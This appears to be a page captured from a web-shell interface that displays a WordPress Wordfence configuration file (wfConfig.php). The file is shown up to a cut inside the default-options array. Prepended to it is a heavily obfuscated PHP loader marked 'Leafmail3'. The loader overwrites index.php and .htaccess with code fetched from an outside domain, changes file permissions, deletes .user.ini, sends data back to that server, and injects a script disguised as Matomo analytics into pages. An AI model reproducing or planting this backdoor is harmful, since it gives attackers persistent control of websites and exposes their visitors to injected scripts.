[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.145.79.236: ~ $
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
class wfConfig {
	const TABLE_EXISTS_OPTION = 'wordfence_installed'; //Also exists in bootstrap.php
	
	const AUTOLOAD = 'yes';
	const DONT_AUTOLOAD = 'no';
	
	const TYPE_BOOL = 'boolean';
	const TYPE_INT = 'integer';
	const TYPE_FLOAT = 'double';
	const TYPE_DOUBLE = 'double';
	const TYPE_STRING = 'string';
	const TYPE_MULTI_STRING = 'multi-string';
	const TYPE_ARRAY = 'array';
	const TYPE_JSON = 'json';
	
	const OPTIONS_TYPE_GLOBAL = 'global';
	const OPTIONS_TYPE_FIREWALL = 'firewall';
	const OPTIONS_TYPE_BLOCKING = 'blocking';
	const OPTIONS_TYPE_SCANNER = 'scanner';
	const OPTIONS_TYPE_TWO_FACTOR = 'twofactor';
	const OPTIONS_TYPE_LIVE_TRAFFIC = 'livetraffic';
	const OPTIONS_TYPE_AUDIT_LOG = 'auditlog';
	const OPTIONS_TYPE_DIAGNOSTICS = 'diagnostics';
	const OPTIONS_TYPE_ALL = 'all';
	
	public static $diskCache = array();
	private static $diskCacheDisabled = false; //enables if we detect a write fail so we don't keep calling stat()
	private static $cacheDisableCheckDone = false;
	private static $tableExists = true;
	private static $cache = array();
	private static $DB = false;
	private static $tmpFileHeader = "<?php\n/* Wordfence temporary file security header */\necho \"Nothing to see here!\\n\"; exit(0);\n?>";
	private static $tmpDirCache = false;
	public static $defaultConfig = array(
		//All exportable boolean options
		"checkboxes" => array(
			"alertOn_update" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"alertOn_scanIssues" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"alertOn_throttle" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"alertOn_block" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"alertOn_loginLockout" => array('value' => true, 'autoload' => self::AUTOLOAD),
			'alertOn_breachLogin' => array('value' => true, 'autoload' => self::AUTOLOAD),
			"alertOn_lostPasswdForm" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"alertOn_adminLogin" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"alertOn_firstAdminLoginOnly" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"alertOn_nonAdminLogin" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"alertOn_firstNonAdminLoginOnly" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"alertOn_wordfenceDeactivated" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"alertOn_wafDeactivated" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"liveTrafficEnabled" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"advancedCommentScanning" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"checkSpamIP" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"spamvertizeCheck" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"liveTraf_ignorePublishers" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"liveTraf_displayExpandedRecords" => array('value' => false, 'autoload' => self::DONT_AUTOLOAD),
			"scheduledScansEnabled" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"lowResourceScansEnabled" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"scansEnabled_checkGSB" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_checkHowGetIPs" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_core" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_themes" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"scansEnabled_plugins" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"scansEnabled_coreUnknown" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_malware" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_fileContents" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_fileContentsGSB" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_checkReadableConfig" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_suspectedFiles" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_posts" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_comments" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_suspiciousOptions" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_passwds" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_diskSpace" => array('value' => true, 'autoload' => self::AUTOLOAD),
			'scansEnabled_wafStatus' => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_options" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_wpscan_fullPathDisclosure" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_wpscan_directoryListingEnabled" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_scanImages" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"scansEnabled_highSense" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"scansEnabled_oldVersions" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scansEnabled_suspiciousAdminUsers" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"scan_force_ipv4_start" => array('value' => false, 'autoload' => self::AUTOLOAD),
			"liveActivityPauseEnabled" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"firewallEnabled" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"autoBlockScanners" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"loginSecurityEnabled" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"loginSec_strongPasswds_enabled" => array('value' => true, 'autoload' => self::AUTOLOAD),
			"loginSec_breachPasswds_enabled" => array('value' => true, 'autoload' => self::AUTOLOAD),
